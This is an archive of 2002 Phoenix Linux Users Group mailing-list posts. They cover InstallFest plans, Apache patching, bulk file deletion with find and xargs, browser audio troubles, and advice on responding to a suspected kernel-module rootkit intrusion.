<200206212323.TAA27913@hostinworld6.com> Just checking that someone will be there to help me with installing MkLinux on my PPC7100. I'm not bringing a monitor but I am bringing the MAC->IBM video adaptor I use. Thanks, Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 02:41:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Fri, 21 Jun 2002 19:41:47 -0700 Subject: apache upgrade References: <4A8DFDA6B395D411A11B00508BEE23FE76B508@mail.int.fh.org> Message-ID: <3D13E3EB.6040903@cox.net> So far, Mandrake has gotten a patched version out for SNF7.2. The Mdk8.2 and other versions are expected shortly. Don't be surprised though if the Apache version number doesn't change. They'll probably patch the hole in their current version instead of risking potential incompatibilities with newer Apaches. (I could be wrong, but that appears to be what they did with SNF7.2 since its Apache package is 1.3.20.) Tom Achtenberg wrote: > Not sure why you get all those dependencies, on my Red Hat 7.3 box I upgraded using RH's up2date and it only downloaded two rpm's (one program and one for the documentation) and installed it with no problem. Total size of the download was under 2 meg. > > > Date: Fri, 21 Jun 2002 08:55:32 -0700 (MST) > From: William Lindley > To: Phoenix Linux Users Group > Cc: Scott Walters > Subject: apache upgrade > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Am on a Mandrake 7.2 box... I know there are remote exploits for Apache > and I want to upgrade... > > Tried to use the Mandrake Update program to update Apache. it fails, with > no sensible error message, so I'm trying to do it manually... > > Apparently there are about a dozen other RPMs apache depends on. This > looked hopeless (download a.rpm, try to install, it wants b.rpm, download, > it wants c.rpm, etc etc) > > So I downloaded the apache source rpm, but i can't install that because it > wants gdbm-devel ... but there is no gdbm-devel rpm... so I'm stuck. > > Any ideas how to proceed? > > \\/ > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 23:57:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 21 Jun 2002 19:57:49 -0400 Subject: Just Verifying. (Installfest) Message-ID: As far as I know, we will not have any install media for MkLinux at the Fest. But, if you bring the install media, I am sure you will find people willing to do what they can to help get you going. I would recommend that you bring the monitor. I have no idea how tricky video settings are on a PowerPC. I'll even help you bring it in, if you want. :^) Alan On Fri, 21 Jun 2002 16:22:36 -0700 Bryce C wrote: Just checking that someone will be there to help me with installing MkLinux on my PPC7100. I'm not bringing a monitor but I am bringing the MAC->IBM video adaptor I use. Thanks, Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 00:22:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 21 Jun 2002 17:22:31 -0700 Subject: Install Fest Message-ID: <0206211722310D.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 A press release from Lycoris just popped up on NewsForge (http://newsforge.com). Word is spreading . . . - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRPDRysk3ywszI1FEQImiACeNnsmLztYB7e2ZoWRaJ+H6SBOlTAAoKjQ 5RHYSYZ5e54iUzk8tZsGqwUp =jo2b -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 00:29:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 21 Jun 2002 17:29:56 -0700 Subject: Just Verifying. (Installfest) In-Reply-To: Message-ID: <200206220030.UAA16487@hostinworld6.com> The monitor is, how can I put this, "integrated" in to its surroundings so it's not possible to bring it. Besides, it serves other computers. The adaptor sets the resolution anyway. Yes I do have the MkLinux CD I burned as well as the 6 SuSE LiveEval 8.0 CDs I said I'd bring. I just need some help installing MkLinux from someone more fluent with "MACinease". Thanks for the offer. On 21 Jun 2002 19:57:49 -0400, alandd@mindspring.com wrote: > As far as I know, we will not have any install media for MkLinux at the Fest. > But, if you bring the install media, I am sure you will find people willing to > do what they can to help get you going. > > I would recommend that you bring the monitor. I have no idea how tricky video > settings are on a PowerPC. I'll even help you bring it in, if you want. :^) > > Alan > > On Fri, 21 Jun 2002 16:22:36 -0700 Bryce C wrote: > > Just checking that someone will be there to help me with installing MkLinux on > my PPC7100. I'm not bringing a monitor but I am bringing the MAC->IBM video > adaptor I use. > > Thanks, > Bryce C. > Network Administrator > CoBryce Communications > Bryce@BryceCo.Net > http://www.BryceCo.Net > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 01:06:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Fri, 21 Jun 2002 18:06:51 -0700 Subject: Bringing Servers to InstallFest References: <0206211722310D.01526@nova.wedge.org> Message-ID: <3D13CDAB.1F5E5B7B@cox.net> Are additional boxes desired at the InstallFest to be used as network servers? I could offer one, but would need instructions right away so I could set things up. I don't want to uproot the box unless it would actually contribute to the well-going of the event. It's dual-booted to RedHat 7.1 and has 1.3GHz Processor and 512MB memory. Those of us bringing such boxes should know what kind of setup is required in advance (IP addresses in what files, etc.???). So please advise promptly if I should bring the box, and what I should do to it in advance. I also have a spare CD drive, in case THAT would be useful. Should I bring it? I will be an hour or so late to the InstallFest (helping a friend load a moving van) but will stick around to shut the place down at the end of the day. Vic From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:55:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Austin Godber) Date: Thu, 20 Jun 2002 21:55:30 -0700 Subject: oops... to many files and can't clean up... References: <3D129CEC.89B04388@leml.asu.edu> <3D129ED3.62C3CC27@leml.asu.edu> Message-ID: <3D12B1C2.972D4A6A@uberhip.com> Perhaps it is was a shell limitations since that would be what was responsible for the regular expression expansion. Sounds like most the problems you had were when you used *. Austin "John (EBo) David" wrote: > > sorry to reply to my own message, but a quick update... > > I went to another xterm and tried get a second look at things. From > there I was able to see and remove the rest of the files (no idea what > happend to that one xterm to muck with ls/rm). Anyway, things are > cleaned up, and that even seemed to fix things in the original xterm > that was causing the problems... > > I may well still reboot and FSCK... Any idea what could have screwed > up? I remember that there used to be a limit of 10,000 files/directory > or inode. That is why I was originally concerned with having more than > 2.5 times that in a single directory. > > EBo -- > > "John (EBo) David" wrote: > > > > ummm.... > > > > I have a unit and regression test suite for my ecological modeling > > virtual machine. I needed to bump up one of the tests to run for a > > longer time for model testing. Problem was that I forgot that I am > > creating an image dump for *every* variable specified each and every > > iteration... start_time=0, stop_time=25, dt=0.01... that is 2,500 images > > for umm... looks like 8 variables, and there are 15 other unit tests... > > > > So now I find that I have over 25,000 files in a single directory. > > oops. Ok, off to clean them up.... > > > > First, ls and rm complain that there are to many files to "rm *.pgm", so > > I go though and delete them by group name... ok, appears to go ok. Now > > I am finally able to "rm *.pgm" so they should be clean up. Problem is > > that once I do that I still have hundreds of pgm files in the directory > > that "ls" reports, but an "ls *meta_pop*" does not. I am affraid that I > > have corrupted the file system or something. > > > > any suggestions? > > > > thoughts: > > > > shut down the machine, reboot single user, fsck ever partition > > (including XFS partions), and recite some prayer to Boolean... > > > > other ideas, thoughts, intuitions as to what happens when creating 10's > > of thousands of files in a single directory by accident? > > > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Austin Godber godber@asu.edu Rotten Philomathian From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:53:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 21 Jun 2002 12:53:52 -0700 Subject: Sound in opera - Linux at work In-Reply-To: <200206211223.08520.zen2now@qwest.net> References: <200206211753.g5LHrI205079@PlugList.MyButt.Net> <200206211223.08520.zen2now@qwest.net> Message-ID: <200206212046.g5LKkk206503@PlugList.MyButt.Net> I could play a wave file from this page so it must be that the line in the page that calls the wave file uses a propietary IE tag. I've had no sucess in getting the developer to show me the code, but I'll fry to capture it myself. I will also try setting mozilla to use xmms as well Charlie n Friday 21 June 2002 12:23, you wrote: > i dont know if this will help you. but i was able to play a .wav from the > plugger test page in opera 6.0 @ > http://fredrik.hubbe.net/plugger/test.html, by editing > preferences/applications=audio/x-wav, select "Open with other Application" > and choose /usr/bin/xmms. I dont know if this will work in your situation, > but from the plugger test page i was able to click on the WAV link to the > left and play test.wav. > > slr > > On Friday 21 June 2002 10:00 am, charlie bullen wrote: > > Hi, So far Opera 6.01 is the only browser that does all I need it to do > > except 1 thing. I have a web page that downloads a wav file when certain > > events happen. I have to be able to hear the wave file. > > > > I can hear sound if it comes in as part of a shockwave file. > > > > When I go to the preferences section "Enable embedded audio" is grayed > > out . > > > > I think that perhaps the line in the page that brings in the sound file > > may be a prorietary Microsoft tag. I've asked the developer to email me > > the code, but haven't gotten it yet. > > > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to > > continue using linux at work. > > > > > > HELP!!!! > > > > Charlie > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:40:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 21 Jun 2002 10:40:37 -0700 Subject: Sound in opera - Linux at work In-Reply-To: <005f01c21948$d8cd5430$0301010a@tickticker.com> References: <200206211753.g5LHrI205079@PlugList.MyButt.Net> <005f01c21948$d8cd5430$0301010a@tickticker.com> Message-ID: <200206211833.g5LIXQ205419@PlugList.MyButt.Net> I've tried Mozilla 1.0, Konquerer 2.2.1 and Opera 6.01. I'll try contacting opera by email as well, good idea. I have been told that I have to get sound working fast or I'm back to XP. Charlie On Friday 21 June 2002 10:26, you wrote: > Charlie, > > Is opera your only choice? Is this the end of Linux on your desktop? try > mozilla, netscape or any of the other small army of browsers, one of them > should do it. just not IE ;-) There are a couple sites out there that > list them all, and hold on, try > http://kmself.home.netcom.com/Linux/FAQs/browsers.html > > for a start. then you could also contact opera using one of the tools on > http://www.opera.com/support/. they do have free email support > > Anthony > > > ----- Original Message ----- > From: "charlie bullen" > To: > Sent: Friday, June 21, 2002 10:00 AM > Subject: Sound in opera - Linux at work > > > Hi, So far Opera 6.01 is the only browser that does all I need it to do > > except 1 thing. I have a web page that downloads a wav file when certain > > events happen. I have to be able to hear the wave file. > > > > I can hear sound if it comes in as part of a shockwave file. > > > > When I go to the preferences section "Enable embedded audio" is grayed > > out > > . > > > I think that perhaps the line in the page that brings in the sound file > > may > > > be a prorietary Microsoft tag. I've asked the developer to email me the > > code, > > > but haven't gotten it yet. > > > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to > > continue using linux at work. > > > > > > HELP!!!! > > > > Charlie > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 04:39:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Fri, 21 Jun 2002 21:39:35 -0700 Subject: The Ballad of David Grunman Message-ID: <200206212139.35746.dennisk@sahuaro.f2s.com> I've shared this with some of you. Wish I knew who did it! Download mp3 here: www.sahuaro.f2s.com/grunman.mp3 A PDF of the lyrics here: www.sahuaro.f2s.com/grunman.pdf Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 06:10:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dallas Helquist) Date: 22 Jun 2002 00:10:29 -0600 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <1024726235.5129.11.camel@dhcp159.area31.viawest.net> If chkrootkit says there are process's running that ps isn't showing - it's probably right. Stop all services that have the posibility of spawning child procces's quickly (apache etc) and run again. If it still shows up, most likely someone has you. The new rootkits are getting pretty complex in how they work, and with a trojan kernel module nearly anything is possible. I'd attach a sniffer to log _all_ traffic, possibly using snort to get a handle on it if it's a lot. I worked on a box that was hacked with suckit, one of the better LKM trojans. Only real way to fix it was to format/reinstall. RPM wasn't showing any problems with the procps (ps, ls etc.) rpm because the LKM was intercepting those calls at the kernel level. Took a sniffer and several days to figure out it was owned, as the box behaved normally. Seems the person was using it as a jumping point, running a scan of random netblocks. You might have some success booting with a rescue dist (tomsbrt works good), and looking for some directories that shouldn't be there. suckit defaults to something in /dev/(can't remember where - check phrack..48?) -dallas On Wed, 2002-06-19 at 16:15, Matt Alexander wrote: > It's possible that those mystery processes only ran one time and covered > up their activity afterwards, or maybe they run at some regular interval, > who knows. Personally, I would sleep better at night after rebuilding the > box. Also, I would recommend that you have different passwords for > different sites. You don't want a security hole at one site completely > opening your boxes at another site (as was the case with you). It's even > better if each box has a different password from all the others. > ~M > > > On Wed, 19 Jun 2002, technomage wrote: > > > according to the "last" command, he logged in as a user on one of my accounts > > and was on for 6 minutes. > > > > I checked elsewhere and found that there had been no other activity (even to > > checking the backups of some of the history files that are made each hour). > > > > after than, I checked to make sure there weren't any outbound connections to > > his IP range (there weren't). I used a clean box as a sniffer for this. I > > then proceeded to change all system passwords and user account passowrds. > > Then, I loaded clean versions of rpm, etc and proceeded to do a package > > verification. I even did md5 checksum comparisons and sig checking. > > > > I checked with a couple of folks I know in the computer security field (one > > of whom is currently serving duty with the US navy at their fascility in > > southern california (the USN Naval Post Graduate School). Given information > > from him (and others), I made an assumption that the intruder hadn't gotten > > very far into my system, and that since all passwords were changed > > immediately following the incident AND that the offending ip range > > (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other > > incursions until yesterday evening. > > > > what I find odd is that the incursion didn't stick. said "invisible > > processes" that wer recorded before aren't there now. > > > > just as a measure, I also made sure that my system has current patches for > > apache (which I do run a webserver here on port 8000) and I've tested any cgi > > scripts and other things using a tool called nessus. > > > > so far, after the last 12 hours, I can't seem to find any evidence that an > > incursion (intrusion) has taken place other than that 1 log entry written by > > chkrootkit that one time. > > > > so, I'm at a loss. am I trojaned or not? > > > > Technomage > > > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > > --- technomage wrote: > > > > ok, > > > > > > > > > > > > > as a safety measure when I first found an intruder on my system some > > > > weeks back, I changed all passwords, ran chattr +ui on some specified > > > > directories > > > > > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > > > you changed the passwords, etc, there may have already been someting in > > > place that passed that info back to the intruder. Any idea on how long the > > > intruder had access to your system? > > > > > > Personally, I would cut my loses - print (yes print) any config files that > > > you want to re-implement, wipe the box and re-install from scratch. > > > > > > Or > > > > > > if you have the disk to spare, rebuild the system on a new disk. Once > > > done, mount up the old disk - dont run anything from it - and give it a > > > thorough going over - see if you can figure out what was done to compromise > > > the system. > > > > > > __________________________________________________ > > > Do You Yahoo!? > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > http://fifaworldcup.yahoo.com > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > > numbered! > > My life is my own - No. 6 > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 07:56:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Sat, 22 Jun 2002 00:56:51 -0700 Subject: The Ballad of David Grunman References: <200206212139.35746.dennisk@sahuaro.f2s.com> Message-ID: <3D142DC3.2E30D00@cox.net> This is slightly off topic, but amusing. BTW, this really happened somewhere in the Phoenix area, about 15 years ago. I don't know if the guy's name was David Grunman, but according to the Arizona Republic's news story there was a drunk out in the desert shooting holes in saguaros with a shotgun. His last victim was 24 feet tall. The man's last word was: "Tim..." I searched for "David Grunman" and only found a reference to a late-term abortionist by that name. Vic P.S. -- If you put web links in a plain-text message, please put http:// in front of them. This will cause most web clients to recognize them as links, so they're clickable. Dennis Kibbe wrote: > I've shared this with some of you. Wish I knew who did it! > Download mp3 here: > www.sahuaro.f2s.com/grunman.mp3 > A PDF of the lyrics here: > www.sahuaro.f2s.com/grunman.pdf From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 15:26:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 22 Jun 2002 08:26:01 -0700 Subject: We're Off Message-ID: <0206220826010E.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 to the Install Fest. See ya there! - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRSXCysk3ywszI1FEQJBSgCfc+kyy9zKnbnUftVREZMcnlW65tMAning lI2LI54/F8IZxGDNtGBNXpUH =p4sM -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 17:22:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 22 Jun 2002 10:22:58 -0700 Subject: The Ballad of David Grunman References: <200206212139.35746.dennisk@sahuaro.f2s.com> <3D142DC3.2E30D00@cox.net> Message-ID: <3D14B272.81773BAB@leml.asu.edu> Victor Odhner wrote: > > This is slightly off topic, but amusing. > > BTW, this really happened somewhere in the Phoenix > area, about 15 years ago. I don't know if the guy's > name was David Grunman, but according to the Arizona > Republic's news story there was a drunk out in the > desert shooting holes in saguaros with a shotgun. > His last victim was 24 feet tall. > > The man's last word was: "Tim..." > > I searched for "David Grunman" and only found a > reference to a late-term abortionist by that name. take a look at the darwarn awards and I believe it is in 1998 that the story was originally posted ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 18:04:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sat, 22 Jun 2002 11:04:08 -0700 Subject: The Ballad of David Grunman References: <200206212139.35746.dennisk@sahuaro.f2s.com> <3D142DC3.2E30D00@cox.net> <3D14B272.81773BAB@leml.asu.edu> Message-ID: <001c01c21a17$346094f0$0301010a@tickticker.com> the site archives only go back to 1999. i'm trying to clear off a machine to hit the installfest. anthony ----- Original Message ----- From: "John (EBo) David" To: Sent: Saturday, June 22, 2002 10:22 AM Subject: Re: The Ballad of David Grunman > Victor Odhner wrote: > > > > This is slightly off topic, but amusing. > > > > BTW, this really happened somewhere in the Phoenix > > area, about 15 years ago. I don't know if the guy's > > name was David Grunman, but according to the Arizona > > Republic's news story there was a drunk out in the > > desert shooting holes in saguaros with a shotgun. > > His last victim was 24 feet tall. > > > > The man's last word was: "Tim..." > > > > I searched for "David Grunman" and only found a > > reference to a late-term abortionist by that name. > > take a look at the darwarn awards and I > believe it is in 1998 that the story was originally posted ;-) > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 18:34:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Sat, 22 Jun 2002 11:34:44 -0700 Subject: oops... to many files and can't clean up... In-Reply-To: <200206221905.g5MJ54216418@PlugList.MyButt.Net> References: <200206221905.g5MJ54216418@PlugList.MyButt.Net> Message-ID: <20020622113444.1b8e0cc4.robert@kint.org> To delete all the files in a directory, when there are a large number of files, but dont delete any sub-directories or files in them: ls | xargs rm # rm will fail on directories, because you did not use "-r" Need to be selective: find . -maxdepth 0 -name "" | xargs rm # or find . -maxdepth 0 -name "" -exec rm "{}" ";" # Slower Done care about subdirectories and the files in them too: cd .. rm -r # Probably really want "-rf", its quieter, but more dangerous. Want to be "quick" about it: cd .. mv .old # "mv" is fast (on the same file system), "rm" is slow rm -rf .old & # removing in the background, you can now go do other stuff. # including creating a new and using it. Good Luck. Bob. On Sat, 22 Jun 2002 12:05:04 -0700 plug-discuss-request@lists.plug.phoenix.az.us wrote: > > Message: 3 > Date: Thu, 20 Jun 2002 21:55:30 -0700 > From: Austin Godber > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: oops... to many files and can't clean up... > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Perhaps it is was a shell limitations since that would be what was > responsible for the regular expression expansion. Sounds like most > the problems you had were when you used *. > > Austin > > "John (EBo) David" wrote: > > > > sorry to reply to my own message, but a quick update... > > > > I went to another xterm and tried get a second look at things. From > > there I was able to see and remove the rest of the files (no idea > > what happend to that one xterm to muck with ls/rm). Anyway, things > > are cleaned up, and that even seemed to fix things in the original > > xterm that was causing the problems... > > > > I may well still reboot and FSCK... Any idea what could have > > screwed up? I remember that there used to be a limit of 10,000 > > files/directory or inode. That is why I was originally concerned > > with having more than 2.5 times that in a single directory. > > > > EBo -- > > > > "John (EBo) David" wrote: > > > > > > ummm.... > > > > > > I have a unit and regression test suite for my ecological modeling > > > virtual machine. I needed to bump up one of the tests to run for > > > a longer time for model testing. Problem was that I forgot that I > > > am creating an image dump for *every* variable specified each and > > > every iteration... start_time=0, stop_time=25, dt=0.01... that is > > > 2,500 images for umm... looks like 8 variables, and there are 15 > > > other unit tests... > > > > > > So now I find that I have over 25,000 files in a single directory. > > > oops. Ok, off to clean them up.... > > > > > > First, ls and rm complain that there are to many files to "rm > > > *.pgm", so I go though and delete them by group name... ok, > > > appears to go ok. Now I am finally able to "rm *.pgm" so they > > > should be clean up. Problem is that once I do that I still have > > > hundreds of pgm files in the directory that "ls" reports, but an > > > "ls *meta_pop*" does not. I am affraid that I have corrupted the > > > file system or something. > > > > > > any suggestions? > > > > > > thoughts: > > > > > > shut down the machine, reboot single user, fsck ever partition > > > (including XFS partions), and recite some prayer to Boolean... > > > > > > other ideas, thoughts, intuitions as to what happens when creating > > > 10's of thousands of files in a single directory by accident? > > > > > > EBo -- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > Austin Godber > godber@asu.edu > Rotten Philomathian -- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 18:39:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 22 Jun 2002 11:39:28 -0700 Subject: We're Off In-Reply-To: <0206220826010E.01526@nova.wedge.org> Message-ID: <200206221840.OAA14121@hostinworld6.com> I'm just about to leave. On 22 Jun 2002 08:26:01 -0700, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > to the Install Fest. > > See ya there! > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPRSXCysk3ywszI1FEQJBSgCfc+kyy9zKnbnUftVREZMcnlW65tMAning > lI2LI54/F8IZxGDNtGBNXpUH > =p4sM > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 19:23:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 22 Jun 2002 12:23:22 -0700 Subject: oops... to many files and can't clean up... References: <200206221905.g5MJ54216418@PlugList.MyButt.Net> <20020622113444.1b8e0cc4.robert@kint.org> Message-ID: <3D14CEAA.B5B629E@leml.asu.edu> "Robert A. Klahn" wrote: > > ... > find . -maxdepth 0 -name "" | xargs rm > # or > find . -maxdepth 0 -name "" -exec rm "{}" ";" # Slower doh! should have thought about find... My biggest concern was roaching the file system. Used to be that you had a max number of files you could put in a single cylinder groub, but appearently that has changed. did not know about the -maxdepth switch... interesting. another trick: find . -type f -exec rm {} \; will also not remove directories but just files. Thanks again... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 20:21:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Sat, 22 Jun 2002 13:21:29 -0700 Subject: possible LKM rootkit infection In-Reply-To: <1024726235.5129.11.camel@dhcp159.area31.viawest.net> References: <1024726235.5129.11.camel@dhcp159.area31.viawest.net> Message-ID: <20020622202131.CGQR24965.fed1mtao02.cox.net@there> did that. the processes did disappear. since that point, I have been clean (so to speak). still, I think its time that I simply installed a newer version of the OS. Technomage On Friday 21 June 2002 11:10 pm, you wrote: > If chkrootkit says there are process's running that ps isn't showing - > it's probably right. Stop all services that have the posibility of > spawning child procces's quickly (apache etc) and run again. If it > still shows up, most likely someone has you. The new rootkits are > getting pretty complex in how they work, and with a trojan kernel module > nearly anything is possible. > > I'd attach a sniffer to log _all_ traffic, possibly using snort to get a > handle on it if it's a lot. > > I worked on a box that was hacked with suckit, one of the better LKM > trojans. Only real way to fix it was to format/reinstall. RPM wasn't > showing any problems with the procps (ps, ls etc.) rpm because the LKM > was intercepting those calls at the kernel level. Took a sniffer and > several days to figure out it was owned, as the box behaved normally. > Seems the person was using it as a jumping point, running a scan of > random netblocks. > > You might have some success booting with a rescue dist (tomsbrt works > good), and looking for some directories that shouldn't be there. suckit > defaults to something in /dev/(can't remember where - check phrack..48?) > > -dallas > > On Wed, 2002-06-19 at 16:15, Matt Alexander wrote: > > It's possible that those mystery processes only ran one time and covered > > up their activity afterwards, or maybe they run at some regular interval, > > who knows. Personally, I would sleep better at night after rebuilding > > the box. Also, I would recommend that you have different passwords for > > different sites. You don't want a security hole at one site completely > > opening your boxes at another site (as was the case with you). It's even > > better if each box has a different password from all the others. ~M > > > > On Wed, 19 Jun 2002, technomage wrote: > > > according to the "last" command, he logged in as a user on one of my > > > accounts and was on for 6 minutes. > > > > > > I checked elsewhere and found that there had been no other activity > > > (even to checking the backups of some of the history files that are > > > made each hour). > > > > > > after than, I checked to make sure there weren't any outbound > > > connections to his IP range (there weren't). I used a clean box as a > > > sniffer for this. I then proceeded to change all system passwords and > > > user account passowrds. Then, I loaded clean versions of rpm, etc and > > > proceeded to do a package verification. I even did md5 checksum > > > comparisons and sig checking. > > > > > > I checked with a couple of folks I know in the computer security field > > > (one of whom is currently serving duty with the US navy at their > > > fascility in southern california (the USN Naval Post Graduate School). > > > Given information from him (and others), I made an assumption that the > > > intruder hadn't gotten very far into my system, and that since all > > > passwords were changed immediately following the incident AND that the > > > offending ip range (ns.rotind.ro) was placed in iptables as immediate > > > drop, I saw no other incursions until yesterday evening. > > > > > > what I find odd is that the incursion didn't stick. said "invisible > > > processes" that wer recorded before aren't there now. > > > > > > just as a 